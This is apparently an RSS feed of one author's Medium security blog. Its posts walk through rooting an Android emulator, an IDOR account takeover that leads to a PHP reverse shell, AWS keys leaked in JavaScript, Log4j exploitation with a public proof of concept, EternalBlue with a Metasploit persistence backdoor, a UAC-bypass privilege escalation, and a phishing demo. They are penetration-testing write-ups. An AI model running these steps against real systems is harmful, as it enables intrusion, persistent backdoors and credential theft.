<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karthikeyan on Medium]]></title>
        <description><![CDATA[Stories by Karthikeyan on Medium]]></description>
        <link>https://medium.com/@karthikeyanh4ck0r?source=rss-b50e1b05f9c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*07cgyUV-vtozLYp4jMlRfQ.jpeg</url>
            <title>Stories by Karthikeyan on Medium</title>
            <link>https://medium.com/@karthikeyanh4ck0r?source=rss-b50e1b05f9c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 21:46:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@karthikeyanh4ck0r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Rooting Emulator and Installing Magisk]]></title>
            <link>https://systemweakness.com/rooting-emulator-and-installing-magisk-c3cbd34ec436?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3cbd34ec436</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[magisk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[rooting]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Tue, 21 Nov 2023 05:14:58 GMT</pubDate>
            <atom:updated>2024-03-22T17:17:33.443Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, we’ll dive into the intricacies of rooting Android Studio AVD. Given the challenges of obtaining physical devices for testing and the risks they present, leveraging emulators emerges as a practical choice for pentesting and more. In this we will explore how to root the emulator, unlocking its potential for various testing needs and beyond.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*SaZBTXVPyokOVvRZlFMIwA.jpeg" /></figure><p><strong>Prerequisites: </strong><br>1. Install Android Studio and after installation declare the variables and path as directed in the below steps.<br>2. Add the “platform-tools” to the path in the environment variable to use ADB.<br>3. Declare the SDK folder of the Android Studio to the variable “ANDROID_HOME” in the “Environment Variable”.</p><p><strong>Steps:</strong><br>Create an emulator of any configuration with Android release “S”(API 31).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psQ1RMKhteGuqx0Goj5RsQ.png" /><figcaption>Android Version</figcaption></figure><p>Later download <a href="https://github.com/newbit1/rootAVD">rootAVD</a> and run <em>rootAVD.bat ListAllAVDs </em>in the CLI to list out the system images available then copy the path of the ramdisk.img for the API 31 the Android version that we opted to install on the emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEV1slz_g8aet4V7_TuWRg.png" /></figure><p>Then run the bat file along with the ramdisk.img path to root the emulator CMD: <em>rootAVD.bat system-images\android-31\google_apis_playstore\x86_64\ramdisk.img</em></p><p><strong>Note: The Emulator should be in the active state.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HvtHOFg9psJMWKITd88R3A.png" /></figure><p>While rooting the AVD it will ask for which version of <em>“Magisk” </em>to install choose the stable version. Once the process is completed the emulator will power off automatically, if not turn it off manually. Later turn ON the emulator, where it can be seen that the machine has been rooted and Magisk has been successfully installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*zdPLQHOvmdiP1KW10qlk6A.png" /></figure><p>I tried to root and install Magisk on various Android releases but this particular version “S” works well. If the playstore is not in the emulator go to the config.ini file present in the .android file and change the value of <em>PlayStore.enabled=true</em> and image path: <em>image.sysdir.1=system-images\android-31\google_apis_playstore\x86_64\.</em></p><p>So I hope this blog will help root AVD, and will be back with another interesting blog.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3cbd34ec436" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/rooting-emulator-and-installing-magisk-c3cbd34ec436">Rooting Emulator and Installing Magisk</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RCE via Account Takeover]]></title>
            <link>https://medium.com/vault-infosec/rce-via-account-takeover-a6fea7390385?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6fea7390385</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Fri, 25 Aug 2023 12:20:02 GMT</pubDate>
            <atom:updated>2023-08-26T07:32:29.807Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2dfif2SpN2vLjEON_uwjYg.png" /></figure><p>In this blog, I am going to share a bug that I came across while performing VAPT for a private project.</p><p>This is a CMS website that I was doing VAPT for. so in CMS, the chance of finding bugs is lower as their version is updated and there are no known CVEs and exploits for that particular version. Initially, I understood the application flow, then tested for bugs like XSS, SSRF, LFI, etc None of them worked out, there are some custom templates used in the website, so I tried SSTI and CSTI for the template injection, but it was also in vain.<br> Then something caught my eye while navigating to the My Account section, The UserID was passing in the URL, and then I started to tamper with the UserID, and now it’s showing the user details of the tampered UserID. Similarly, the UserID passes in the URL for the Change Password, where it asks for the current password to change the password. I changed the UserID value in the URL to that of another user, and surprisingly, it worked, and was able to change the password without any validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mF7wcCWAQVT0sYz_CCeTCA.png" /></figure><p>Then I figured out the Admin’s user ID must be one, tried to change its password and it worked. Now I have control over the Admin’s account After that traversed the admin account and found an option to execute PHP code on the website which reminds me of the <a href="https://github.com/pentestmonkey/php-reverse-shell"><strong><em>pentestmonkey php reverse shell</em></strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*y31dvfhwXQWkk-KfrGp6rQ.png" /></figure><p>Then I used ngrok for port forwarding to receive a connection. I altered the payload, started a Netcat listener on my local machine, and executed the payload in the PHP execute function. As soon as the payload was executed, a reverse shell was spawned in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*bi3GJ3_6EWXtDRUZ5z9mVw.png" /></figure><p>The reason I was able to take over the account is because of the custom OAuth implemented on the site, where they didn’t configure the authorization properly. The PHP execute extension should not be used on the website; in the event of a breach or successful attack, the attacker might use this functionality to take control of the system. The CMS vendor also advises the user not to use these kinds of extensions.</p><p>I hope you find this blog useful, will be back with another interesting blog.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6fea7390385" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/rce-via-account-takeover-a6fea7390385">RCE via Account Takeover</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found AWS Secret Key and Access Key via Threat Intelligence.]]></title>
            <link>https://medium.com/vault-infosec/an-xyz-websites-threat-intelligence-served-as-the-foundation-for-this-study-51570acce79a?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/51570acce79a</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Mon, 12 Jun 2023 13:38:33 GMT</pubDate>
            <atom:updated>2023-06-28T08:40:58.113Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*g0iFvALSrjAJg4xcIYbygw.jpeg" /></figure><p>First and foremost, begin to comprehend the web application’s business process and assemble the tech stacks of the applications. I have included all of the subdomains of the specific company in the initial round of recon. Following the subdomain enumeration, a nuclei scan was performed on the subdomains to check for any vulnerabilities. Nmap was also used to discover open ports and the services that were using them. Apart from that, we attempted to take over a subdomain, but it was unsuccessful. Google Dorking and GitHub Dorking were then performed, and nothing sensitive was found. Post that looked up in search engines like Censys, Shodan, and Zoomeye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*vJJ1rQWdtWR5063MXk4tpw.jpeg" /><figcaption>Felt down can’t even find one thing</figcaption></figure><p>Then I started to manually inspect the website by checking the Inspect option in the developer tools to see if there was anything sensitive there. And finally, I found the AWS Access Key ID and Secret Access Key in a .js file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*aqf4U2nTZ0-3Zqy-7cO4YQ.gif" /></figure><p>After that, it configured AWS CLI with those keys to verify the keys were legitimate, and it listed out the S3 buckets it has access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*5w1O2y4AvTeeWLhaMSTirg.jpeg" /><figcaption>This key has access to lots of s3 buckets</figcaption></figure><p>The issue is that private information like these keys shouldn’t be shared in publicly accessible files. In the .js files, we can locate some sensitive data. The key is to maintain optimism.</p><p>Hope this gives a piece of valuable information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51570acce79a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/an-xyz-websites-threat-intelligence-served-as-the-foundation-for-this-study-51570acce79a">How I found AWS Secret Key and Access Key via Threat Intelligence.</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Exploit Log4j Vulnerability over the Internet]]></title>
            <link>https://medium.com/vault-infosec/how-to-exploit-log4j-over-the-internet-3b0e138b7970?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b0e138b7970</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Wed, 24 May 2023 08:45:00 GMT</pubDate>
            <atom:updated>2023-06-13T07:47:27.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*h1lU7y-vxQk1L88aVMoCdg.png" /></figure><p>Welcome to this comprehensive guide on the log4j vulnerability. In this article, we will see what the log4j vulnerability is and how to exploit it over the internet.</p><p>Log4j is a logging framework mostly used on Apache servers. The primary cause of the vulnerability lies in the way Log4j handles certain user-supplied inputs. When Log4j processes log messages containing specific patterns, it attempts to look up additional information from external resources, such as URLs. This process, intended to enhance logging capabilities, inadvertently exposes a flaw that can be exploited by attackers to inject malicious commands. JNDI is present in it to access log files. Log4j can be exploited by supplying a payload that calls JNDI to lookup a fake LDAP server where a malicious payload is downloaded and executed.</p><p>For exploitation purposes, a vulnerable environment is used. There are two methods to exploit this vulnerability over the internet. One’s via port forwarding the local machine’s IP, and the other is through an instance running in cloud infrastructure. I will be using an AWS EC2 instance to exploit it. I am going to use <a href="https://github.com/kozmer/log4j-shell-poc"><strong>Kozmer log4j-shell-poc</strong></a>, it has a vulnerable application in it as well as an exploit, so we don’t need to set up a fake LDAP server and web server for the exploitation.</p><p>Let’s go straight into hosting the website and exploiting it with an EC2 instance, as most of the steps will be covered on the <a href="https://github.com/kozmer/log4j-shell-poc">GitHub page</a>.</p><p>First, host the vulnerable web application on a local machine and port forward it through ngrok or the router itself to expose it over the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wR0Oo05su1ePqq9-12gR6Q.png" /><figcaption>Used docker t host the vulnerable application and port forwarded it.</figcaption></figure><p>The vulnerable application is hosted now. The next thing is to set up an EC2 instance with Ubuntu running on it. Download the <a href="https://github.com/kozmer/log4j-shell-poc"><strong>Kozmer log4j-shell-poc</strong></a><strong> </strong>in the instance along with the <strong>java jdk1.8.0_20</strong> in the exploit’s directory.</p><p><strong>Note: In the instance security group set the inbound connection to all and from anywhere</strong>.</p><p>Run the command <strong>python3 poc.py — userip EC2IP — webport 8000 — lport 9001</strong> to host a fake LDAP server and host the webserver for Exploit.class payload. Run a Netcat listener to get a reverse shell connection. To exploit over the internet we need our machine to be port forwarded but in EC2 instances we don’t need to port forward as it is available over the internet. We just need to alter the inbound rules in the security group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NdUEFDCZqy6qIpOXQX8uQ.png" /><figcaption>Generating Payload using <a href="https://github.com/kozmer/log4j-shell-poc"><strong>Kozmer log4j-shell-poc</strong></a></figcaption></figure><p>Now copy the generated payload and submit it in the vulnerable web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_aijF7t8aJwCOdDuFR7Kg.png" /><figcaption>Target Website</figcaption></figure><p>As soon as the payload is submitted, it can be seen that a reverse shell is spawned as soon as the payload is submitted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*ccCaZKP2J97ynCVzDTi9dg.png" /><figcaption>Running Netcat Listener</figcaption></figure><p>I have tried it in a real-time web application (with necessary approvals from the application owner) but couldn’t spawn a reverse shell, this may be due to the inbound and outbound rules set by the website. But received the hostname by crafting a payload with a Burp collaborator client.</p><p>I believe you found the article useful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b0e138b7970" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vault-infosec/how-to-exploit-log4j-over-the-internet-3b0e138b7970">How to Exploit Log4j Vulnerability over the Internet</a> was originally published in <a href="https://medium.com/vault-infosec">Vault Infosec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Eternal Blue exploit and Persistence]]></title>
            <link>https://systemweakness.com/eternal-blue-exploit-and-persistence-1ed58a200295?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ed58a200295</guid>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[backdoor]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Wed, 12 Jan 2022 19:05:15 GMT</pubDate>
            <atom:updated>2022-07-21T11:59:40.838Z</atom:updated>
            <content:encoded><![CDATA[<p>We are going to see the eternal blue exploit and persistence module, the eternal blue exploit will work only on some windows machines like nonupdated windows 7, windows server 2008, etc. And the target machine should be on the local network. Wine should to installed in order for the eternal blue double_pulsar to work. After going through all the hard work of exploiting a system, it’s often a good idea to leave an easier way back into the system for later use that’s where the persistence comes in, it creates a backdoor that runs automatically on the startup which will bring a reverse shell connection to the attacker. Let&#39;s get into the practical. <strong>Note: This is purely for educational purposes only. I am doing this in my virtual environment, don’t try this on a machine that you don’t have permission to exploit.</strong></p><p>There are many eternal blue exploits in the Metasploit we are not going to use them instead we are going to download another eternal blue exploit from GitHub <a href="https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit"><strong>(Click here)</strong></a><strong><em>. </em></strong>Clone it in the root directory and copy the <strong>eternalblue_doublepulsar.rb</strong> and<strong> deps</strong> directory to the <strong>metasploit-framework/modules/windows/smb<em> .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*piU1_d_iy7s91tmawrnyMQ.png" /></figure><p>Then update the database using<strong> updatedb </strong>command<strong> </strong>and open<strong> msfconsole</strong>, we need to update the database because the newly copied file does not load itself in the Metasploit so we need to update it.</p><p>After opening <strong>msfconsole</strong> to use the exploit that we downloaded type <strong>use exploit/windows/smb/eternalblue_doublepulsar</strong> and set the payload to <strong>windows/x64/meterpreter/reverse_tcp.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*ZrIAcaEjlO6AWydznUu-iA.png" /><figcaption>Setting the exploit and the payload.</figcaption></figure><p>Use the <strong>show options </strong>command and set the required values. We should set the value according to the target PC spec like PROCESSINJECT, TARGETARCHITECTURE in my case my target is running on x64 so Iam setting the value for x64, you can set the values for your requirement and exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1c1QmYja1BAeXf-3Avby9A.jpeg" /><figcaption>Exploiting the target.</figcaption></figure><p>Now that we exploited our target next we are going to use persistence to foothold the target machine. We can use this with any exploits that have created a session on the target machine. Background the session and search persistence we can see lots of modules available, I am going to use <strong>exploit/windows/local/persistence_service.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wf0rOdxcCnVfRFCZBkh0_Q.png" /></figure><p>Then set the required values like RETRY_TIME this is important because we don’t know when the target starts the PC so we can’t start our listener in time, so by this retry option, the payload in the targets PC tries to connect to the attacker’s machine every time in a time interval specified by the attacker, set the other values and exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*eM4JDY4MK8FE_AjHFHVeCA.jpeg" /><figcaption>Persistence created a backdoor in the target’s PC.</figcaption></figure><p>We can see that the persistence created a backdoor in the target&#39;s PC to exploit it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*4fXfqIMqn5GAzJZZJPNw6Q.jpeg" /><figcaption><strong>In the target machine, we can see the payload we created from the persistence module.</strong></figcaption></figure><p>Start a listener with the payload set on the <strong>exploit/windows/local/persistence_service </strong>I used<strong> windows/meterpreter/reverse_tcp </strong>and<strong> </strong>set the value (LPORT, LHOST) we set in the<strong> exploit/windows/local/persistence_service module. </strong>So when the system restarts we get a backdoor every time it restarts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*BfLkYolO097FWCvq62s1XQ.png" /><figcaption>This is the eternal blue exploit session</figcaption></figure><p>The first session we created via eternal blue dies as soon as the targets machine reboots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*GkAQ1U4r1hPFolUwUFwX4A.png" /><figcaption>Persistence backdoor listener</figcaption></figure><p>When the system rebooted, we got a reverse connection from the persistence backdoor. The persistence module works with any exploits, its main requirement is that it needs a session open to plant a backdoor.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ed58a200295" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/eternal-blue-exploit-and-persistence-1ed58a200295">Eternal Blue exploit and Persistence</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation in Target using Metasploit]]></title>
            <link>https://karthikeyanh4ck0r.medium.com/privilege-escalation-in-target-using-metasploit-1fdcf321601c?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fdcf321601c</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Sun, 02 Jan 2022 15:56:41 GMT</pubDate>
            <atom:updated>2022-01-02T15:56:41.019Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXnBcPE9pBqhjpjiSm7nTA.jpeg" /></figure><p>When we exploit a machine like Windows, Android, etc.. some of the commands doesn’t work due to access denied, this is because we don’t have admin or root level privilege to execute the commands. So lets see how to get privilege escalation on windows machine.<strong> I am going to do this on my virtual environment don’t try this on the device that you don’t have permission this is only for educational purpose.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*Oo_hf7wPtUU2thxCP7AP7g.jpeg" /><figcaption>This the result we get when we execute some of the commands.</figcaption></figure><p>First we need to create a simple payload using msfvenom to which device you are going to execute it in this case I am going to exploit windows 10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*J7ZDyNTGkqsxC_YxLHQwdA.png" /><figcaption>This is a simple payload it will be blocked by the system’s firewall however we can create a payload to bypass the firewall however in this we are going to see only privilege escalation</figcaption></figure><p>Now that we have created a payload we have to send it to the target’s PC. I am transferring the payload via apache2 server you can do it with any method as you like and execute it. Before the payload execution in the target PC we need to start a listener on <strong>msfconsole</strong> and set the required values. And then execute the payload on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*Xc6DIqFoTUIAKLSm2WdegA.png" /><figcaption>Started listener on msfconsole (Note: in Metasploit the LPORT is set to 4444 by default)</figcaption></figure><p>Now that we have a session opened we can interact with and exploit the target PC. To get privilege escalation we need to background the session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-N5x29sQMbTCcTIkmR8pA.png" /><figcaption>Backgrounding the session that opened.</figcaption></figure><p>Now we need to search for another exploit in the msfconsole using search command the thing we are gonna search is bypassuac UAC means User Account Control and use a exploit from the search results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9lTtPiZj4s8SNQ4ER7TTfQ.png" /><figcaption>I am going to use (windows/local/bypassuac_eventvwr) exploit this one works for me.</figcaption></figure><p>Now what we are going to do is getting privilege using this new exploit with the help of the session that we previously created. The payload for this new exploit is set to default windows/meterpreter/reverse_tcp which is okay in my case you can set payload of your will and set the required field and exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqugOII63fWoIFxuIVH-cA.png" /><figcaption>Setting required values and initiating the exploit</figcaption></figure><p>The new exploit asks for the session that has remote connection over the target PC we are going to get privilege escalation in my case it is 4, you are gonna set your session ID and then exploit. In some cases the exploit won’t work in that case use different exploit or run the exploit command till the new session is opened.</p><p>After the session is created still we didn’t get admin level access to get it we need to run getsystem command in the newly opened session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*TFC5HzzI8ChqUWLXuDJgWQ.png" /><figcaption>We got the system</figcaption></figure><p>Now we got the system and to get privilege we need to run getprivs command. Now we got full access over the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ZyRr9KNoa1cOL5axKLFa9g.jpeg" /><figcaption>Now you can see that we can execute commands without any denial.</figcaption></figure><p>To see the difference between the first session and new session background the session and type sessions command to see the difference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3bNvAGMgzE8_ACzEXCN1jA.jpeg" /><figcaption>ID 4 is the old session and ID 5 is the newly opened session</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fdcf321601c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing your Social media]]></title>
            <link>https://karthikeyanh4ck0r.medium.com/securing-your-social-media-4731a0d8a984?source=rss-b50e1b05f9c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/4731a0d8a984</guid>
            <dc:creator><![CDATA[Karthikeyan]]></dc:creator>
            <pubDate>Wed, 29 Dec 2021 17:25:05 GMT</pubDate>
            <atom:updated>2022-01-02T18:08:04.094Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*FC8CkORzAqCFr397K2fYAA.png" /></figure><p>Nowadays hacking social media ID like Facebook, Twitter etc.. occurring frequently. Lets see how to prevent ID from getting hacked. The main way of social media hacking is the credentials theft. The credentials can be stolen from the users through social engineering attacks .The main attack used to steal the credentials from the user is the Phishing attack. In this attack a webpage like Facebook, Instagram gets cloned and hosted in the internet, the attacker sends the malicious cloned website to the victim via email, message, etc.. saying that verify your account or something that manipulates the victim to go to page and enter their credentials. Once the victims enters their credentials in the fake page the attacker will get the victim’s credentials and misuse it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Zp8d0U9TcgFRiUpJ0NtZQ.png" /><figcaption>Victim receives mail from the attacker ( Note: I am using temporary mail).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbhWz9t0TqDdI3ijfptclA.png" /><figcaption>Victims redirected to the fake page created by the attacker</figcaption></figure><p>Victim enters the credentials of their account in the fake page created by the attacker and once they click verify button, the attacker receives victim’s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*IhUiLG1TcXgWLLJ7eRECHQ.png" /><figcaption>I am using zphiser to automate phishing attack</figcaption></figure><p>The Attackers gets the credentials of the victim and misuse it.</p><h3>Prevention</h3><p>Use multifactor authentication to avoid this kind of attack. Even if the attacker gets the credential they won’t be able to login to the account because of the multifactor authentication.</p><p>Don’t login to the links that are send by the unknown or fake mail address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*qFCI9eGU0EibyeZpKlYugw.jpeg" /><figcaption>See the mail received, Facebook does not use this kind of mail id and it also doesn’t have the Facebook domain .</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4731a0d8a984" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>